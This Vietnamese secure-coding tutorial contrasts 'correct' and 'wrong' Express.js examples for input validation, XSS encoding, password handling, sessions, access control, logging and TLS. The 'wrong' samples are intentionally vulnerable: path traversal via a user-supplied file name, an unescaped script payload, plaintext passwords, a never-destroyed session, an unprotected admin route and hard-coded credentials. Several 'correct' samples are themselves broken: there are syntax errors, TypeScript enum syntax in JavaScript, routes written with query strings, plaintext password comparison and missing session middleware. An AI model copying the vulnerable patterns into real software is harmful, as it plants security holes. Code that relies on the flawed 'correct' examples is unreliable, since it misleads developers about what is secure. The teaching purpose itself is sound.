SECURE CODING VÀ CÁC PHƯƠNG PHÁP TỐT NHẤT ĐỂ XÂY DỰNG ỨNG DỤNG AN TOÀN

SECURE CODING VÀ CÁC PHƯƠNG PHÁP TỐT NHẤT ĐỂ XÂY DỰNG ỨNG DỤNG AN TOÀN

Giới thiệu về secure coding

Secure coding là quá trình viết mã nguồn có tính bảo mật cao, tránh tối đa các lỗ hổng để ngăn chặn các cuộc tấn công từ kẻ xâm nhập hoặc hackers, tập trung vào việc viết mã và phát triển ứng dụng một cách an toàn.

Mã không an toàn là nguồn gốc chính của nhiều vấn đề bảo mật trong phần mềm. Các lỗi trong mã có thể dẫn đến các vấn đề nghiêm trọng như lỗ hổng bảo mật, xâm nhập, truy cập trái phép vào dữ liệu và thậm chí gây tổn hại đến hệ thống và người dùng. Secure coding đảm bảo rằng các ứng dụng và hệ thống được viết một cách chính xác và an toàn từ giai đoạn phát triển đến triển khai.

Tại sao secure coding quan trọng?

Secure coding là một khía cạnh vô cùng quan trọng trong lĩnh vực phát triển phần mềm vì nó đóng vai trò quan trọng trong việc bảo vệ ứng dụng và hệ thống khỏi các cuộc tấn công và lỗ hổng bảo mật. Dưới đây là một số lý do vì sao secure coding quan trọng:

  1. Bảo vệ dữ liệu: Secure coding giúp bảo vệ dữ liệu của người dùng và tổ chức tránh khỏi việc truy cập trái phép, thay đổi hoặc đánh cắp thông tin quan trọng. Nếu ứng dụng không được viết an toàn, thông tin nhạy cảm có thể bị tiết lộ và dẫn đến hậu quả nghiêm trọng, bao gồm mất mát tài sản, danh tiếng tổ chức, và vi phạm quy định về bảo mật dữ liệu.
  2. Ngăn chặn các cuộc tấn công: Secure coding giúp giảm thiểu khả năng bị tấn công từ các kẻ xâm nhập hoặc hackers. Bằng cách xử lý và lọc dữ liệu đầu vào, chúng ta có thể ngăn chặn các cuộc tấn công phổ biến như SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Command Injection, Cross-Site Script Inclusion (XSSI), Server-Side Request Forgery (SSRF)…
  3. Đảm bảo tính sẵn sàng và đáng tin cậy: Ứng dụng được viết bằng secure coding sẽ hoạt động ổn định và đáng tin cậy hơn. Hạn chế tối đa lỗi và lỗ hổng bảo mật giúp ứng dụng tránh được các sự cố không mong muốn, duy trì tính sẵn sàng của hệ thống.
  4. Giảm thiểu thiệt hại: Một ứng dụng không được viết an toàn có thể bị tấn công và gây ra thiệt hại nghiêm trọng cho hệ thống và người dùng. Việc thực hiện secure coding giúp giảm thiểu rủi ro và mức độ thiệt hại trong trường hợp bị tấn công.
  5. Tuân thủ các quy định và tiêu chuẩn bảo mật: Secure coding giúp đáp ứng các tiêu chuẩn và yêu cầu bảo mật của tổ chức và ngành công nghiệp. Nhiều lĩnh vực, như chăm sóc sức khỏe và tài chính, có những yêu cầu nghiêm ngặt về bảo mật và bảo vệ dữ liệu. Việc áp dụng secure coding là cần thiết để tuân thủ các quy định này và tránh bị phạt vì vi phạm quyền riêng tư và bảo mật.
  6. Xây dựng niềm tin và danh tiếng: Sự an toàn và bảo mật của ứng dụng góp phần tạo dựng niềm tin và danh tiếng tích cực cho tổ chức. Người dùng và khách hàng sẽ tin tưởng hơn vào ứng dụng họ sử dụng nếu ứng dụng đó an toàn.

Tóm lại, mã hóa an toàn là yếu tố cốt lõi trong việc bảo vệ các ứng dụng và hệ thống khỏi các cuộc tấn công và lỗ hổng bảo mật. Điều này giúp đảm bảo tính bảo mật và độ tin cậy của phần mềm, giúp bảo vệ dữ liệu của người dùng và tổ chức, đồng thời đáp ứng các yêu cầu và tiêu chuẩn bảo mật.

Các nguyên tắc và phương pháp quan trọng trong secure coding

Input Validation

Tất cả dữ liệu đầu vào cần được kiểm tra cả client và server trước khi thực hiện các tác vụ khác.

Xác thực dữ liệu thất bại nên được xử lý từ chối luôn và không thực hiện các xử lý tiếp theo. Trả về thông báo về việc nhập dữ liệu không hợp lệ để người dùng biết.

Các xử lý điều hướng lấy data ví dụ như GET file thì không được xử lý lấy trực tiếp tên file từ input của người dùng, mà nên lấy thông qua hằng số như file_id.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng:

const express = require('express'); 
const fs = require('fs/promises'); 
const app = express(); 
const port = 3000;
 
enum File {
  1: 'example.txt',
  2: 'example2.txt'
}
 
// Route để lấy dữ liệu từ file
app.get('/file', async (req, res) => { 
  if (isNaN(req.query.fileId)) {
    return res.status(400).send('fileId phải là giá trị số'); 
  }
 
  try { 
    const filePath = `./files/${File[req.query.fileId]}`;  
 
    // Đọc nội dung của file
    const fileContent = await fs.readFile(filePath, 'utf-8'); 
 
    res.status(200).send(fileContent); 
  } catch (error) { 
    res.status(500).send('Đã xảy ra lỗi khi đọc file.'); 
  } 
}); 
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ này, chúng ta sử dụng fileId của người dùng gửi lên để lấy file path mà chúng ta muốn truy cập. Điều này giúp đảm bảo rằng chúng ta không trực tiếp lấy tên file từ dữ liệu người dùng, từ đó tránh các vấn đề về bảo mật như lỗ hổng truy cập không mong muốn.

+ Chương trình sai:

const express = require('express'); 
const fs = require('fs/promises'); 
const app = express(); 
const port = 3000;  
 
// Route để lấy dữ liệu từ file 
app.get('/file', async (req, res) => {  
  try {  
    // Sử dụng tên file từ input của người dùng và đọc nội dung của file
    const fileContent = await fs.readFile(req.body.fileName, 'utf-8'); 
 
    res.status(200).send(fileContent); 
  } catch (error) { 
    res.status(500).send('Đã xảy ra lỗi khi đọc file.'); 
  } 
}); 
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ này, chúng ta đã sử dụng tên file từ dữ liệu người dùng cung cấp. Điều này sẽ bị các vấn đề về bảo mật như lỗ hổng truy cập không mong muốn.

Output Encoding

Tất cả dữ liệu đầu ra cần được encode có thể sử dụng HTML entity encoding để thực hiện việc encode dữ liệu để chống lại lỗ hổng Cross-site Scripting (XSS).

Làm sạch loại bỏ các dữ liệu liên quan đến cách lệnh của hệ điều hành để tránh các lỗi liên quan đến Command injection.

Loại bỏ các dữ liệu khi hiển thị đối với dữ liệu là các truy vấn SQL giúp chống lại các lỗ hổng liên quan đến SQL Injection.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const express = require('express'); 
const escapeHtml = require('escape-html');
const app = express(); 
const port = 3000; 
 
app.get('/customerProfile', (req, res) => { 
  const customer = { 
    name: "test", 
    note: "<script>alert('XSS attack!');</script>" 
  }; 
 
  const encodedCustomerNote = escapeHtml(customer.note);
 
  res.send(` 
    <h1>Xin chào, ${customer.name}!</h1> 
    <p>${encodedCustomerNote}</p> `
  ); 
}); 
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong đoạn mã trên, chúng ta đã sử dụng thư viện escape-html để mã hóa nội dung của customer.note trước khi đưa vào HTML. Điều này đảm bảo rằng bất kỳ mã JavaScript độc hại nào cũng sẽ được mã hóa và hiển thị dưới dạng văn bản thông thường, không thể thực thi.

+ Chương trình sai

const express = require('express'); 
const app = express(); 
const port = 3000; 

app.get('/customerProfile', (req, res) => { 
 const customer = { 
   name: "test", 
   note: "<script>alert('XSS attack!');</script>" 
 }; 
 
 res.send(` 
   <h1>Xin chào, ${customer.name}!</h1> 
   <p>${customer.note}</p> `
 ); 
}); 
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong đoạn mã trên, chúng ta đang trả về thông tin cá nhân của khách hàng. Tuy nhiên, biến customer.note chứa một đoạn mã JavaScript độc hại và đoạn mã này sẽ được thực thi khi trình duyệt hiển thị nó, gây ra cuộc tấn công XSS.

Authentication and Password Management

Cần xác thực đối với các tài nguyên quan trọng không được phép truy cập public. Những tài nguyên public như: css, js… thì không cần xác thực.

Có thể sử dụng cơ chế authentication được cung cấp sẵn như: Oauth2 hoặc Google authication, Facebook authentication,…

Cần mã hóa password có thể sử dụng thư viện uy tín được cung cấp sẵn.

Khi đăng nhập, nếu người dùng nhập username hay password sai thì thay vì thông báo cụ thể là “người dùng nhập sai thông tin username” hay “người dùng nhập sai thông tin password” chỉ cần thông báo rằng “người dùng nhập sai thông tin đăng nhập” để tránh việc thu thập thông tin từ hackers.

Cần được triển khai cơ chế xác thực trước khi các hệ thống bên ngoài kết nối tới hệ thống của chúng ta để lấy dữ liệu (qua api, web service…).

Sử dụng HTTP POST cho các yêu cầu xác thực và mật khẩu hiển thị dưới dạng *** không đọc được.

Nên sử dụng mật khẩu mạnh cho tài khoản như: Có ít nhất 1 chữ hoa, 1 chữ thường, 1 số, 1 ký tự đặc biệt và độ dài tối thiểu 8 ký tự.

Link reset mật khẩu nên để thời gian expiration ngắn.

Cần thiết lập cơ chế xác thực 2FA cho các tác vụ quan trọng.

Thiết lập tần suất đổi mật khẩu và cơ chế chống việc sử dụng lại mật khẩu.

Yêu cầu đổi mật khẩu tạm thời trong lần đăng nhập đầu tiên và thiết lập cơ chế khóa tài khoản sau một số lần nhập sai thông tin xác thực.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

 + Chương trình đúng

const express = require('express'); 
const bcrypt = require('bcrypt'); 
const app = express(); 
const port = 3000; 
 
// Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng 
const users = []; 
 
app.use(express.json()); 
 
// Đăng ký người dùng 
app.post('/register', async (req, res) => {
 const { username, password } = req.body; 
 
 // Kiểm tra xem người dùng đã tồn tại chưa 
 if (users.find(user => user.username === username)) {
   return res.status(400).json({ error: 'Người dùng đã tồn tại.' }); 
 } 
 
 // Mã hóa mật khẩu trước khi lưu vào cơ sở dữ liệu 
 const hashedPassword = await bcrypt.hash(password, 10); 
 
 // Lưu thông tin người dùng vào cơ sở dữ liệu 
 users.push({ username, password: hashedPassword }); 
  
 return res.status(201).json({ message: 'Đăng ký thành công.' }); 
}); 
 
// Đăng nhập 
app.post('/login', async (req, res) => { 
 const { username, password } = req.body; 
 
 // Tìm người dùng trong cơ sở dữ liệu 
 const user = users.find(user => user.username === username); 
 if (!user) { 
  return res.status(401).json({ error: 'Người dùng nhập sai thông tin đăng nhập.' }); 
 } 
 
 // So sánh mật khẩu đã mã hóa 
 const isPasswordValid = await bcrypt.compare(password, user.password); 
 if (!isPasswordValid) { 
  return res.status(401).json({ error: 'Người dùng nhập sai thông tin đăng nhập.' }); 
 } 

 return res.status(200).json({ message: 'Đăng nhập thành công.' }); 
});
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong đoạn mã trên:

khi người dùng đăng ký thì mật khẩu được mã hóa trước khi lưu vào cơ sở dữ liệu đảm bảo rằng mật khẩu không được lưu dưới dạng văn bản thông thường trong cơ sở dữ liệu, giúp tăng cường bảo mật của ứng dụng.

Khi người dùng đăng nhập, chúng ta kiểm tra mật khẩu đã nhập bằng cách so sánh với mật khẩu đã mã hóa trong cơ sở dữ liệu và nếu người dùng có nhập sai username hoặc password thì sẽ xuất message chung ‘Người dùng nhập sai thông tin đăng nhập.’ để tránh việc thu thập thông tin từ hackers.

 + Chương trình sai

const express = require('express'); 
const bcrypt = require('bcrypt'); 
const app = express(); 
const port = 3000; 

// Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng 
const users = []; 

app.use(express.json()); 

// Đăng ký người dùng 
app.post('/register', async (req, res) => {
 const { username, password } = req.body; 

 // Kiểm tra xem người dùng đã tồn tại chưa 
 if (users.find(user => user.username === username)) {
  return res.status(400).json({ error: 'Người dùng đã tồn tại.' }); 
 } 

 // Lưu thông tin người dùng không có mã hóa password vào cơ sở dữ liệu
 users.push({ username, password}); 
 
 return res.status(201).json({ message: 'Đăng ký thành công.' }); 
}); 

// Đăng nhập 
app.post('/login', async (req, res) => { 
 const { username, password } = req.body; 

 // Tìm người dùng trong cơ sở dữ liệu 
 const user = users.find(user => user.username === username); 
 if (!user) { 
  return res.status(401).json({ error: 'Người dùng nhập sai thông tin username.' }); 
 } 

 // So sánh mật khẩu
 if (password !== user.password) { 
  return res.status(401).json({ error: 'Người dùng nhập sai thông tin password' }); 
 } 

 return res.status(200).json({ message: 'Đăng nhập thành công.' }); 
});

app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong đoạn mã trên:

khi người dùng đăng ký thì mật khẩu không được mã hóa trước khi lưu vào cơ sở dữ liệu và vi phạm tính bảo mật của ứng dụng.

Khi người dùng đăng nhập và nhập sai thông tin username hoặc password thì đang bị vấn đề bảo mật là báo lỗi cụ thể như:  “Người dùng nhập sai thông tin username.” hay “Người dùng nhập sai thông tin password“.

Session Management

Việc tạo ra session sử dụng các định danh phải đảm bảo được tính ngẫu nhiên, tránh được các cuộc tấn công dò tìm hoặc đoán session.

Khi đăng xuất thì cần kết thúc phiên ngay lập tức.

Chức năng đăng xuất phải có ở tất cả các trang đã được xác thực giúp người dùng có thể đăng xuất bất cứ khi nào khi đã xác thực thành công.

Không cho phép session tồn tại đồng thời với cùng 1 người dùng để đảm bảo hạn chế các truy cập trái phép.

khi xác thực lại vẫn cần đảm bảo tạo ra một session với định danh mới để đảm bảo không trùng với phiên cũ.

Nên thiết lập thời gian tồn tại cho một session.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const express = require('express'); 
const session = require('express-session'); 
const app = express(); 
const port = 3000; 
 
// Sử dụng session middleware 
app.use(session({ 
 secret: 'secretKey', 
 resave: true, 
 saveUninitialized: true,
 cookie: { maxAge: 86400000) }
})); 
 
app.use(express.json()); 
 
// Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng 
const users = [ { username: 'test', password: 'password_hash' } ]; 
 
// Kiểm tra xem người dùng đã đăng nhập chưa 
function isAuthenticated(req, res, next) { 
 if (req.session && req.session.username) { 
  return next(); 
 }
 return res.status(401).json({ error: 'Bạn cần đăng nhập để tiếp tục.' }); 
} 
 
// Đăng nhập 
app.post('/login', (req, res) => { 
 const { username, password } = req.body; 
 const user = users.find(user => user.username === username); 
 if (!user || user.password !== password) { 
  return res.status(401).json({ error: 'Sai tên người dùng hoặc mật khẩu.' }); 
 } 
 
 req.session.username = username; 
 return res.status(200).json({ message: 'Đăng nhập thành công.' }); 
}); 
  
// Hiển thị thông tin người dùng sau khi đăng nhập 
app.get('/profile', isAuthenticated, (req, res) => { 
 const username = req.session.username; 
 return res.status(200).json({message: `Thông tin cá nhân: ${username}`}); 
}); 
 
// Đăng xuất 
app.post('/logout', isAuthenticated, (req, res) => { 
 req.session.destroy(); 
 return res.status(200).json({ message: 'Đăng xuất thành công.' }); 
});
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, khi người dùng đăng nhập thành công, chúng ta lưu thông tin tên người dùng vào session và thiết lập thời gian tồn tại là 1 ngày. Các routes /profile và /logout yêu cầu người dùng đã đăng nhập để truy cập và chúng ta kiểm tra thông tin session để xác minh trạng thái đăng nhập. Khi người dùng đăng xuất chúng ta sẽ kết thúc session này và sẽ tạo lại session mới khi người dùng đăng nhập trở lại.

+ Chương trình sai

const express = require('express'); 
const session = require('express-session'); 
const app = express(); 
const port = 3000; 

// Sử dụng session middleware 
app.use(session({ 
 secret: 'secretKey', 
 resave: false, 
 saveUninitialized: false,
})); 

app.use(express.json()); 

// Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng 
const users = [ { username: 'test', password: 'password_hash' } ]; 

// Kiểm tra xem người dùng đã đăng nhập chưa 
function isAuthenticated(req, res, next) { 
 if (req.session && req.session.username) { 
  return next(); 
 }
 return res.status(401).json({ error: 'Bạn cần đăng nhập để tiếp tục.' }); 
} 

// Đăng nhập 
app.post('/login', (req, res) => { 
 const { username, password } = req.body; 
 const user = users.find(user => user.username === username); 
 if (!user || user.password !== password) { 
  return res.status(401).json({ error: 'Sai tên người dùng hoặc mật khẩu.' }); 
 } 

 req.session.username = username; 
 return res.status(200).json({ message: 'Đăng nhập thành công.' }); 
}); 

// Hiển thị thông tin người dùng sau khi đăng nhập 
app.get('/profile', isAuthenticated, (req, res) => { 
 const username = req.session.username; 
 return res.status(200).json({message: `Thông tin cá nhân: ${username}`}); 
}); 

// Đăng xuất 
app.post('/logout', isAuthenticated, (req, res) => {  
 return res.status(200).json({ message: 'Đăng xuất thành công.' }); 
});

app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, khi người dùng đăng nhập thành công, chúng ta lưu thông tin tên người dùng vào session và không thiết lập thời gian kết thúc session. Khi người dùng đăng xuất  đã không hủy session và session này luôn luôn tồn tại.

Access Control

Thực hiện kiểm tra quyền truy cập với tất cả các request được gửi đi bao gồm cả request gửi bằng HTTP request, Ajax để đảm bảo việc phân quyền luôn được thực hiện đúng với tài khoản được phân quyền tương ứng. Tránh việc truy cập tới tài nguyên không được phép.

Cần thực hiện phân quyền tập trung, dễ quản lý và không bị ảnh hưởng bới logic của các đoạn code thực hiện chức năng của web.

Cần giới hạn quyền truy cập vào các tài nguyên quan trọng cho những người dùng được phân quyền.

Ứng dụng cần có tài liệu rõ ràng về chính sách quyền truy cập.

Khi có thay đổi về quyền hoặc thay đổi về logic nghiệp vụ liên quan đến quyền truy cập thì cần thực hiện vô hiệu hóa tài khoản và kết thúc phiên. Chỉ khi nào người dùng login lại thì mới cho tài khoản tiếp tục sử dụng.

Triển khai cơ chế khóa tài khoản tạm thời sau một khoảng thời gian không sử dụng.

Nếu dữ liệu của người dùng cần lưu trữ tại phía client thì cần mã hóa và được kiểm tra tính toàn vẹn trên server.

Thực hiện đúng nguyên tắc phân quyền tới đúng người, đúng quyền. Chỉ người dùng được phép mới có quyền truy cập tới tài nguyên nhất định trên hệ thống.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const express = require('express'); 
const app = express(); 
const port = 3000; 
 
// Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng
const users = [ 
  { username: 'user1', role: 'admin' }, 
  { username: 'user2', role: 'user' } 
]; 
 
// Middleware kiểm tra vai trò của người dùng 
function checkRole(role) { 
  return (req, res, next) => { 
    const user = users.find(user => user.username === req.session.username); 
     
    if (user && user.role === role) { 
      return next(); 
    } 
    return res.status(403).json({ error: 'Bạn không có quyền truy cập.' }); 
  }; 
} 
 
app.use(express.json()); 
 
app.get('/profile', (req, res) => { 
  const username = req.session.username; 
  return res.status(200).json({message: `Thông tin cá nhân: ${username}`});
}); 
 
app.get('/admin', checkRole('admin'), (req, res) => { 
  return res.status(200).json({ message: 'Trang quản lý.' }); 
});
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, chúng ta đã sử dụng một middleware checkRole để kiểm tra vai trò của người dùng. Route /profile cho phép tất cả người dùng truy cập. Route /admin yêu cầu vai trò “admin” và chỉ cho phép người dùng với vai trò “admin” truy cập vào trang quản lý. Nếu không có quyền họ sẽ nhận một mã trạng thái 403 (Forbidden).

+ Chương trình sai

const express = require('express'); 
const app = express(); 
const port = 3000; 
 
// Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng
const users = [ 
  { username: 'user1', role: 'admin' }, 
  { username: 'user2', role: 'user' } 
]; 
 
app.use(express.json()); 
 
app.get('/profile', (req, res) => { 
 const username = req.session.username; 
 return res.status(200).json({message: `Thông tin cá nhân: ${username}`});
}); 
 
app.get('/admin', (req, res) => { 
 return res.status(200).json({ message: 'Trang quản lý.' }); 
});
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, route /profile và  /admin đều cho phép tất cả người dùng truy cập và không có phân quyền. Điều này sẽ rất nguy hiểm vì trang admin sẽ bị truy cập trái phép bởi người dùng có role=”user”.

Error Handling and Logging

Cần thông báo lỗi chung và tiến hành định nghĩa các trang thông báo lỗi để trả về khi trang web gặp lỗi. Tránh sử dụng các trang thông báo lỗi mặc định của framework vì các trang thông báo này thường chứa nhiều thông tin liên quan đến ứng dụng và phiên bản.

Log cần ghi lại tất cả các sự kiện quan trọng như sau:

  1. Ghi lại tất cả các lỗi xác thực đầu vào
  2. Ghi nhật ký tất cả các ngoại lệ của hệ thống
  3. Ghi lại tất cả các lỗi kiểm soát truy cập
  4. Ghi lại tất cả các lần xác thực, đặc biệt là các lần thất bại
  5. Ghi log toàn bộ sự kiện cố gắng đăng nhập nhiều lần hoặc phiên làm việc hết hạn
  6. Ghi nhật ký tất cả các chức năng quản trị

Không lưu trữ thông tin nhạy cảm trong log, bao gồm các chi tiết hệ thống không cần thiết, thông tin phiên bản phần mềm hoặc mật khẩu người dùng.

Chỉ giới hạn quyền truy cập vào log cho các user được cấp quyền.

Đảm bảo log chứa dữ liệu những event quan trọng như: thời gian xảy ra sự kiện, mức độ nghiêm trọng cho từng sự kiện, tag cho từng event, thông tin tài khoản thực hiện event, source ip, dest ip, mô tả sự kiện…

Các thông tin về xử lý lỗi cần ghi lại cả thông tin về các events thành công và thất bại giúp truy vết khi có vấn đề xảy ra.

Không để lộ thông tin nhạy cảm trong các phản hồi lỗi từ trang web, bao gồm chi tiết hệ thống, phiên bản của ứng dụng hoặc thông tin tài khoản.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const express = require('express'); 
const winston = require('winston'); 
const app = express(); 
const port = 3000; 
 
// Thiết lập logger 
const logger = winston.createLogger({ 
  level: 'info', 
  format: winston.format.simple(), 
  transports: [ 
    new winston.transports.Console(), 
    new winston.transports.File({ filename: 'error.log', level: 'error' }) 
  ] 
}); 
 
// Middleware để xử lý lỗi 
app.use((err, req, res, next) => { 
  logger.error(err.stack); 
  res.status(500).json({ error: 'Có lỗi xảy ra.' }); 
}); 
 
// Route có gây ra lỗi 
app.get('/error', (req, res, next) => { 
  const error = new Error('message error'); 
  next(error); 
});
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, chúng ta đã sử dụng thư viện winston để tạo logger và thiết lập logger để log thông tin lỗi và lưu trữ vào tập tin “error.log”. Route /error được sử dụng để minh họa việc có lỗi xảy ra. Trong route này, chúng ta tạo một lỗi bất kỳ và gọi hàm next() để chuyển lỗi đến middleware xử lý lỗi.  Việc sử dụng logger giúp chúng ta có dễ dàng quản lý ứng dụng của mình hơn.

+ Chương trình sai

const express = require('express'); 
const app = express(); 
const port = 3000; 
 
// Middleware để xử lý lỗi 
app.use((err, req, res, next) => { 
  res.status(500).json({ error: 'Có lỗi xảy ra.' }); 
}); 
 
// Route có gây ra lỗi 
app.get('/error', (req, res, next) => { 
 const error = new Error('message error'); 
 next(error); 
});
 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, không  sử dụng thư viện winston để tạo logger và để ghi log lại lỗi khi xảy ra. Khi chương trình có một vấn đề lỗi nào đó thì rất khó có thể điều tra và khắc phục.

Data Protection

Tắt các tính năng tự động hoàn thành username và password trên trình duyệt.

Không gửi thông tin nhạy cảm trong các tham số yêu cầu HTTP GET như: username, password, token, session_id…

Xóa tất cả các comments không cần thiết trong mã nguồn như các đoạn comments có thể chứa thông tin truy cập của người dùng hay database hoặc có thể tiết lộ các thông tin nhạy cảm khác của hệ thống.

Thực hiện phân quyền tài khoản theo đúng chức năng giúp hạn chế các truy cập trái phép hoặc nhầm lẫn gây thất thoát dữ liệu.

Bảo vệ mã nguồn phía máy chủ không bị người dùng tải xuống bằng việc phân quyền thư mục mã nguồn, không để lộ source code và đường dẫn lưu trữ source code.

Thực hiện các kiểm soát truy cập thích hợp cho dữ liệu nhạy cảm được lưu trữ trên máy chủ.

Tắt bộ nhớ đệm phía máy khách trên các trang chứa thông tin nhạy cảm có thể sử dụng: Cache-Control: no-store trong HTTP header.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const express = require('express'); 
const app = express(); 
const port = 3000; 
 
// Search user
app.get('/user?name=test&email=test@gmail.com', async (req, res) => { 
 const result = await userService.userSearch(req.query);
 return res.status(200).json(result);
}); 

app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, tại route /user sẽ search user bởi name và email và trả kết quả tương ứng. Các thông tin name và email này không phải thông tin nhạy cảm nên có thể search bình thường.

+ Chương trình sai

const express = require('express'); 
const app = express(); 
const port = 3000; 

// Search user
app.get('/user?password=test123&email=test@gmail.com', async (req, res) => { 
 const result = await userService.userSearch(req.query);
 return res.status(200).json(result);
}); 

app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, tại route /user sẽ search user bởi password và email và trả kết quả tương ứng. Do password là thông tin nhạy cảm nên trường hợp này vi phạm về tính bảo mật.

Communication Security

Đảm bảo HTTP referer không chứa thông tin nhạy cảm như: session_id, token,.. Cần đảm bảo các tham số này được lọc khỏi HTTP referer trước khi thực hiện truy cập tới website khác.

Khi các hệ thống bên ngoài thực hiện kết nối và truy cập thông tin tới hệ thống của chúng ta cần đảm bảo có kết nối TLS

Thực hiện mã hóa để truyền tất cả các thông tin nhạy cảm sử dụng TLS cho việc mã hóa đường truyền giúp bảo vệ kết nối

Cần thiết lập cho website luôn sử dụng kết nối TLS cho tất cả nội dung yêu cầu quyền truy cập được xác thực và cho tất cả các thao tác truy cập

Có thể sử dụng bộ ký tự encode UTF-8 cho kết nối mã hóa

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const https = require('https'); 
const fs = require('fs'); 
const express = require('express'); 
const port = 443; 
const app = express(); 
  
app.get('/secure', (req, res) => {
  console.log('Dữ liệu được truyền tải an toàn.');
  res.redirect('https://example.com'); 
});
 
// Tạo server HTTPS
https.createServer({
 key: fs.readFileSync('/path/to/private-key.pem'), 
 cert: fs.readFileSync('/path/to/certificate.pem')
}, app).listen(port);

Trong ví dụ trên, chúng ta đã sử dụng module https để tạo một máy chủ sử dụng giao thức HTTPS. Khi người dùng thực hiện truy cập đến route /secure, dữ liệu sẽ được truyền tải an toàn qua giao thức HTTPS và redirect đến một domain https://example.com, đảm bảo thông tin không thể bị đánh cắp hoặc hiệu chỉnh trong quá trình truyền tải và HTTP referer không chứa thông tin nhạy cảm.

+ Chương trình sai

const https = require('https'); 
const fs = require('fs'); 
const express = require('express'); 
const port = 443; 
const app = express(); 
 
app.get('/secure?session_id=xxx', (req, res) => { 
  res.redirect('https://example.com'); 
});
 
// Tạo server HTTPS
https.createServer({
key: fs.readFileSync('/path/to/private-key.pem'), 
cert: fs.readFileSync('/path/to/certificate.pem')
}, app).listen(port);

Trong ví dụ trên, khi người dùng thực hiện truy cập đến route /secure  sẽ redirect đến một domain https://example.com, lúc này HTTP referer có chứa thông tin nhạy cảm là session_id và có thể truy xuất từ domain https://example.com.

System Configuration

Cần có hệ thống quản lý mã nguồn, lịch sử phiên bản, lịch sử thay đổi, log thay đổi tất cả các thành phần trong hệ thống để quản lý một cách dễ dàng và hạn chế rủi ro bảo mật.

Các môi trường dev, test, production cần được thiết lập để cô lập và không sử dụng chung tài nguyên, cơ sở dữ liệu. Giúp kiểm soát tốt dữ liệu cũng như tránh nguy cơ tấn công hệ thống test rồi tấn công hệ thống production.

Xóa thông tin không cần thiết khỏi HTTP response liên quan đến hệ điều hành, phiên bản máy chủ web, thông tin debug hay mã nguồn giúp chống kẻ tấn công thu thập và làm cơ sở để tấn công sâu hơn vào webisite.

Xóa các đoạn code test hay debug trong mã nguồn hoặc bất kỳ chức năng nào không dùng cho production trước khi triển khai.

Cần tắt chức năng Directory listing trên web server giúp hạn chế việc lộ ra các file nhạy cảm, các file chứa thông tin quan trọng.

Đảm bảo server, OS, framework và các thành phần của hệ thống đang sử dụng phiên bản an toàn không có lỗ hổng bảo mật, tốt nhất là sử dụng phiên bản mới nhất.

Đảm bảo server, OS, framework và các thành phần của hệ thống luôn được cập nhật các bản vá bảo mật từ nhà phát triển để hạn chế việc hackers khai thác từ các mã khai thác bảo mật đã được public.

Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.

+ Chương trình đúng

const express = require('express'); 
const app = express(); 
const port = 3000; 
 
// Đọc biến môi trường cho cấu hình cơ sở dữ liệu 
const dbConfig = { 
  host: process.env.DB_HOST, 
  username: process.env.DB_USERNAME, 
  password: process.env.DB_PASSWORD, 
  database: process.env.DB_DATABASE' 
}; 
 
// Thực hiện kết nối cơ sở dữ liệu
function connectToDatabase(config) { 
  // Viết code kết nối đến cơ sở dữ liệu ở đây
} 
 
connectToDatabase(dbConfig); 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, chúng ta đã sử dụng biến môi trường để lưu trữ thông tin cấu hình cơ sở dữ liệu như: DB_HOST, DB_USERNAME, DB_PASSWORD, và DB_DATABASE. Bằng cách sử dụng biến môi trường, chúng ta có thể dễ dàng điều chỉnh cấu hình của hệ thống không cần sửa đổi mã nguồn và giúp giảm nguy cơ bị lộ thông tin quan trọng như mật khẩu trong mã nguồn, tạo điều kiện thuận lợi cho việc quản lý cấu hình và triển khai an toàn hơn.

+ Chương trình sai

const express = require('express'); 
const app = express(); 
const port = 3000; 

const dbConfig = { 
 host: 'host', 
 username: 'username', 
 password: 'password', 
 database: 'database' 
}; 

// Thực hiện kết nối cơ sở dữ liệu
function connectToDatabase(config) { 
 // Viết code kết nối đến cơ sở dữ liệu ở đây
} 

connectToDatabase(dbConfig); 
app.listen(port, () => {  console.log(`Server running ${port}`); });

Trong ví dụ trên, chúng ta không sử dụng biến môi trường để lưu trữ thông tin cấu hình cơ sở dữ liệu mà viết giá trị trực tiếp trong code. Nếu viết như cách này thì khi điều chỉnh cấu hình của hệ thống sẽ sửa đổi mã nguồn và có nguy cơ bị lộ thông tin quan trọng như mật khẩu trong mã nguồn, khó khăn cho việc quản lý cấu hình và triển khai một cách an toàn.

Database Security

Mỗi tài khoản kết nối tới cơ sở dữ liệu cần được phân quyền rõ ràng, riêng biệt theo đúng chức năng, nhiệm vụ và quyền hạn.

